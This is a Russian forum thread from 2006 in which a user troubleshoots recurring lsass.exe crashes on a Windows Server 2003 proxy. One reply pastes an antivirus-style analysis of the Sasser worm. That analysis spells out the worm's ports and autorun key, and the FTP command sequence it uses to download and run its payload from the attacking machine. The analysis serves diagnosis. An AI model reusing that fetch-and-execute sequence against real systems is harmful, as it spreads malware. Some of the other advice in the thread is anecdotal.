Компьютерный форум NoWa.cc
Правила Форума
редакция от 29.01.2013
Портал .::2Baksa.Net::. Трекер BRODIM.COM
Вернуться   Компьютерный форум NoWa.cc > Операционные системы > Microsoft Windows

Уважаемые пользователи nowa.cc и 2baksa.net. У нас сложилось тяжелое финансовое положение. Мы работаем для вас вот уже более 14 лет
и теперь вынуждены просить о помощи. Окажите посильную поддержку проектам. Мы очень надеемся на вас. Реквизиты для переводов ниже.
Webmoney Webmoney Z826074280762 Webmoney R087294265364 Webmoney U051530505194 Webmoney E804621616710
PayPal E-mail для связи / to Contact E-mail для связи по вопросу помощи / to Contact : E-mail для связи / to Contact
Кошелек для вашей помощи Yandex 410013204813773
Yandex Спасибо за поддержку!

Российский интернет-шлюз: контроль трафика, DLP, антивирус, fail2ban, прокси-сервер, шифрование данных, https-фильтрация. Сертификат ФСТЭК

загрузка...
Ответ
 
Опции темы Language
Старый 09.08.2006, 10:57   #1
Неактивный пользователь
 
Аватар для DenisKrav
 
Пол:Мужской
Регистрация: 02.08.2006
Адрес: Москва
Сообщений: 12
Репутация: 0
По умолчанию Lsass.exe - ошибка приложения...

Стоит на работе win2003server на нем прокси для сотрудников, и в день по 2-4 раза выдает мне: Lsass.exe - ошибка приложения... Инструкция по адресу "0х77f4905d" обратилась к памяти по адресу "0х00002000". Памят не может быть "read"... Червей и всяких прочих вирусов вроди нету... сканил НОД32 и нортоном... Касперский почемуто неустанавливается, говорит типа система нета... памят тестил Сандрой и мемтестом... все нормально. даже и незнаю что еще попробовать, помогите кто чем может!
__________________
:xe
DenisKrav вне форума
 
Ответить с цитированием Вверх
Надежный китайский посредник Taobao.com


Реклама: как выпрямить крыло автомобиля грантавиброгалтовки для гальваникиhttp://taxi-stolica.ru/opisanie-uslug/arenda-avto-s-voditelem/arenda_avto_v_moskve/решетки жалюзийные для вентиляции рв-2131l9873


Старый 09.08.2006, 13:37   #2
Виталий
Постоялец
 
Аватар для Виталий
 
Пол:Мужской
Регистрация: 17.11.2005
Адрес: Украина, Мукачево
Сообщений: 336
Репутация: 163
По умолчанию Re: Lsass.exe - ошибка приложения...

А вируса точно нет?
Полистай эту ссылочку [Для просмотра ссылок требуется регистрация. Зарегистрироваться...]
Удачи
Виталий вне форума
 
Ответить с цитированием Вверх
Старый 09.08.2006, 13:49   #3
Dryn
Guest
 
Сообщений: n/a
По умолчанию Re: Lsass.exe - ошибка приложения...

Цитата:
Lsass.exe - ошибка приложения... Инструкция по адресу "0х77f4905d" обратилась к памяти по адресу "0х00002000"

Было такое, вирус тоже не нашелся... К сожалению посоветовать как бороться с этим не могу, но рекомендую срочно сделать наиболее полный резерв системы - у меня по прошествии некоторого времени из-за этой ошибки умер сервер - пришлось переподнимать.
  Ответить с цитированием Вверх
Старый 09.08.2006, 14:45   #4
DenisKrav
Неактивный пользователь
 
Аватар для DenisKrav
 
Пол:Мужской
Регистрация: 02.08.2006
Адрес: Москва
Сообщений: 12
Репутация: 0
По умолчанию Re: Lsass.exe - ошибка приложения...

Цитата:
Сообщение от Виталий
А вируса точно нет?
Полистай эту ссылочку [Для просмотра ссылок требуется регистрация. Зарегистрироваться...]
Удачи

Яж говорю у меня 2003 а там патчи для хр или я что-то не так понял? :7:
__________________
:xe
DenisKrav вне форума
 
Ответить с цитированием Вверх
Старый 09.08.2006, 15:19   #5
Виталий
Постоялец
 
Аватар для Виталий
 
Пол:Мужской
Регистрация: 17.11.2005
Адрес: Украина, Мукачево
Сообщений: 336
Репутация: 163
По умолчанию Re: Lsass.exe - ошибка приложения...

Попробуй ещё так (в случае если это у тебя вирус)

Найди процесс Avserve.exe и прихлопни его. Затем убери его из реестра из автозагрузки. Сотри сам файл avserve.exe из системной директории Windows.

Т.е наличие файла Avserve тебе должно подсказать вирус (речь идёт о Sasser который херит Lsass ) у тебя или глюк всё таки с железякой.
Виталий вне форума
 
Ответить с цитированием Вверх
Старый 09.08.2006, 15:30   #6
DenisKrav
Неактивный пользователь
 
Аватар для DenisKrav
 
Пол:Мужской
Регистрация: 02.08.2006
Адрес: Москва
Сообщений: 12
Репутация: 0
По умолчанию Re: Lsass.exe - ошибка приложения...

Вотэтого файла у меня на компе нет... и процесса такого нету... и в реестре тоже...
__________________
:xe
DenisKrav вне форума
 
Ответить с цитированием Вверх
Старый 09.08.2006, 15:58   #7
MUTANT
Guest
 
Сообщений: n/a
По умолчанию Re: Lsass.exe - ошибка приложения...

ЧЁ ЗА ОШИБКА??
  Ответить с цитированием Вверх
Старый 09.08.2006, 16:20   #8
Dogmatist
ViP
 
Пол:Мужской
Регистрация: 03.10.2004
Сообщений: 5,597
По умолчанию Re: Lsass.exe - ошибка приложения...

[quote=DenisKrav]Стоит на работе win2003server на нем прокси для сотрудников, и в день по 2-4 раза выдает мне: Lsass.exe - ошибка приложения... Инструкция по адресу "0х77f4905d" обратилась к памяти по адресу "0х00002000". Памят не может быть "read"... quote]

У меня была подобная проблема "память не может быть "read". Посмотри вот здесь, мы обсуждали этот вопрос, может даст какие идеи
[Для просмотра ссылок требуется регистрация. Зарегистрироваться...]

Может быть дело и не в вирусах...

Добавлено через 20 минут 35 секунд
Вот немного информации. Похоже, что это может быть твоей проблемой...
Net-Worm.Win32.Sasser.a


<TABLE class=enc_tbl cellSpacing=0 cellPadding=3 width="100%" border=0><TBODY><TR><TD class=enc_row_1 noWrap></TD><TD class=enc_row_2 width="80%"></TD></TR><TR><TD class=enc_row_1 noWrap KLMark="loc_msg:vir_fields"></TD><TD class=enc_row_2 width="80%"></TD></TR></TBODY></TABLE><TABLE class=enc_ttl cellSpacing=0 cellPadding=3 width="100%" border=0><TBODY><TR><TD KLMark="virus_doctype:1">Технические детали</TD></TR></TBODY></TABLE>Вирус-червь. Распространяется по глобальным сетям, используя для своего размножения уязвимость в службе LSASS Microsoft Windows. Ее описание приведено в [Для просмотра ссылок требуется регистрация. Зарегистрироваться...].
Патч, исправляющий данную уязвимость был выпущен 13 апреля 2004 года (его можно найти по ссылке выше). Первые экземпляры червя были обнаружены 30 апреля 2004 года.
Заражению подвержены компьютеры, работающие под управлением Windows 2000, Windows XP, Windows Server 2003. На других версиях Windows червь работоспособен, но заразить их извне, путем атаки через уязвимость, не сможет.
Червь написан на языке C/C++, с использованием компилятора Visual C. Имеет размер около 15 КБ, упакован PECompact2.
Признаками заражения компьютера являются:
  • Наличие файла "avserve.exe" в каталоге Windows.
  • Сообщение об ошибке (LSASS service failing) приводящее к перезагрузке системы.
Размножение

При запуске червь копирует себя в корневой каталог Windows с именем "avserve.exe" и регистрирует себя в ключе автозапуска:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run] "avserve.exe" = "%WINDIR%\avserve.exe"</PRE>Создает в памяти уникальный идентификатор "Jobaka3l" для определения своего присутствия в системе.
Запускает FTP службу на порту TCP 5554 и запускает 128 процедур своего размножения. В ходе работы червь пытается вызвать системную процедуру AbortSystemShutdown для запрета перезагрузки системы.
Червь запускает процедуры выбора IP-адресов для атаки и отсылает на порт TCP 445 запрос. В случае если удаленный компьютер отвечает на соединение и отправляет эксплоит LSASS, который, используя данную уязвимость, запускает на удаленной машине командную оболочку "cmd.exe" на TCP порту 9996.
После этого червь передает на атакуемую машину команды для загрузки и запуска своего тела:

echo offecho open [адрес машины с которой производится атака] 5554>>cmd.ftpecho anonymous>>cmd.ftpecho userecho bin>>cmd.ftpecho get [произвольное число]_up.exe>>cmd.ftpecho bye>>cmd.ftpecho onftp -s:cmd.ftp[произвольное число]_up.exeecho offdel cmd.ftpecho on</PRE>Таким образом один и тот же компьютер может многократно подвергаться атакам и содержать несколько копий червя в виде файлов с именами, например:

23101_up.exe5409_up.exe</PRE>и т.д.
Прочее

После заражения инфицированная машина выводит сообщение об ошибке LSASS service failing, после чего может попытаться перезагрузиться.
Червь создает в корневом каталоге диска C: файл "win.log", который содержит IP-адреса атакуемых машин.

Последний раз редактировалось Dogmatist; 09.08.2006 в 16:41.. Причина: Добавлено сообщение
Dogmatist вне форума
 
Ответить с цитированием Вверх
Старый 09.08.2006, 17:11   #9
SadAngel
Постоялец
 
Аватар для SadAngel
 
Пол:Мужской
Регистрация: 25.10.2005
Сообщений: 212
Репутация: 243
По умолчанию Re: Lsass.exe - ошибка приложения...

Вряд ли это вирус.
У меня похожая проблема, такое выдает при загрузке, но не всегда. Правда еще к тому же выдает синий экран смерти при запуске любого DOS приложения (16 разрядного приложения). Причину так и не удалось найти, но есть несколько подозрений:
1. Слетела подсистема управления памятья (какой-то системный файл)
2. Возможно какой-то security patch неправильно установился.
3. Установлена какая-то другая программа, конфликтующая с системой.
4. Специфическое оборудование и его совместимость с программным обеспечением. Например процесор с hypertrading (старые версии 1с вызывали сбои в компьютере P4 Hypertrading
SadAngel вне форума
 
Ответить с цитированием Вверх
Старый 10.08.2006, 12:23   #10
Iskam
ViP
 
Аватар для Iskam
 
Пол:Мужской
Регистрация: 04.05.2006
Адрес: Волжский
Сообщений: 593
Репутация: 215
По умолчанию Re: Lsass.exe - ошибка приложения...

Эта проблема у меня почти год назад была, полечилась установкой SP1 на w2k3 и ещё сверху обновлений, доступных на тот момент. Я тоже долго грешил на sasser, но, видимо всё - таки
Цитата:
2. Возможно какой-то security patch неправильно установился.

__________________
Жаба, жаба, где твой хвост, где твоя щетина? Где твой вертикальный рост, глупая скотина?
Жаба смотрит на меня не соображая... Тюк её ботинком, тюк! Гадость-то какая!
Iskam вне форума
 
Ответить с цитированием Вверх
Старый 10.08.2006, 13:31   #11
DenisKrav
Неактивный пользователь
 
Аватар для DenisKrav
 
Пол:Мужской
Регистрация: 02.08.2006
Адрес: Москва
Сообщений: 12
Репутация: 0
По умолчанию Re: Lsass.exe - ошибка приложения...

Вот бы еще ссылочку на этот SP ктонибудь подсказал, чтоб мне скачать... буду премного благодарен!
__________________
:xe
DenisKrav вне форума
 
Ответить с цитированием Вверх
Старый 11.08.2006, 10:16   #12
Iskam
ViP
 
Аватар для Iskam
 
Пол:Мужской
Регистрация: 04.05.2006
Адрес: Волжский
Сообщений: 593
Репутация: 215
По умолчанию Re: Lsass.exe - ошибка приложения...

пжалста:
[Для просмотра ссылок требуется регистрация. Зарегистрироваться...]
__________________
Жаба, жаба, где твой хвост, где твоя щетина? Где твой вертикальный рост, глупая скотина?
Жаба смотрит на меня не соображая... Тюк её ботинком, тюк! Гадость-то какая!
Iskam вне форума
 
Ответить с цитированием Вверх
Старый 12.08.2006, 23:46   #13
nics
Guest
 
Сообщений: n/a
По умолчанию Re: Lsass.exe - ошибка приложения...

Всем доброго времени суток... У меня с утра такая же бяка выскочила, затем ещё пару прог так же выпендрились... ставил каспера, NOD, нортон - и нифига, уже махнув обеими руками поставил вебера.... и он находит пары дней от роду родненький белорусский вирусок... назву записать не успел... семейство win32.HLLP... в общем эта гадина гробила EXE-шники , копировалась и гадила в реестре... короче, спас только вебер...
  Ответить с цитированием Вверх
Старый 13.08.2006, 03:29   #14
mope
Постоялец
 
Аватар для mope
 
Пол:Мужской
Регистрация: 07.08.2006
Адрес: Нижний Новгород
Сообщений: 234
Репутация: 780
По умолчанию Re: Lsass.exe - ошибка приложения...

зы, и если не ошибаюсь, пишет, что типа сохраните свои данные, перезагрузка системы произойдёт через... и начинается обратный отсчёт ?
__________________
в тюрьмах столько не сидят, сколько вы сидите в интернете...
mope вне форума
 
Ответить с цитированием Вверх
Старый 13.08.2006, 12:35   #15
deepvic
Постоялец
 
Аватар для deepvic
 
Пол:Мужской
Регистрация: 28.08.2005
Сообщений: 918
Репутация: 225
По умолчанию Re: Lsass.exe - ошибка приложения...

Такой вирусяка жил у меня некоторое время. Попал как программа дозвона. Просто поставь Dr.Web для серверов (есть на форуме) и всё станет нормально, обнови базу вирусов, и полностью просканирую систему. Все остальные антивирусы, просто бесполезны, и хорошо, что Касперский не стал, толку от него чуть.
__________________
Свои руки человек видит сверху, и они кажутся ему прямее, чем окружающим, которые видят его руки сбоку и могут объективно оценить их.
deepvic вне форума
 
Ответить с цитированием Вверх
Ответ
 Уважаемые пользователи портала 2BakSa.NeT и форума NoWa.cc !

  Рады Вам сообщить, что у нас открылся Torrent трекер >> BRODIM.COM

  Приглашаем вас принять участие в обмене полезной информацией,

  и ждем от вас поддержки в создании новых раздач.

Опции темы

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
svchost.exe - ошибка приложения! rudvova Скорая помощь 35 13.07.2011 10:08
svchost.exe - Ошибка приложения NOleg Скорая помощь 6 28.09.2009 15:45
Lsass.exe – Системная ошибка. Объект с указанным именем уже существует. Vasuha Windows XP 3 10.01.2009 14:05
ошибка приложения boris150750 Microsoft Windows 5 05.07.2008 23:54
Ошибка приложения alko21 Архив 6 03.05.2007 06:39

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 22:54. Часовой пояс GMT +3.


Rambler's Top100
Copyright ©2004 - 2018 2Baksa.Net

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc. Перевод: zCarot
Время генерации страницы 0.17633 секунды с 10 запросами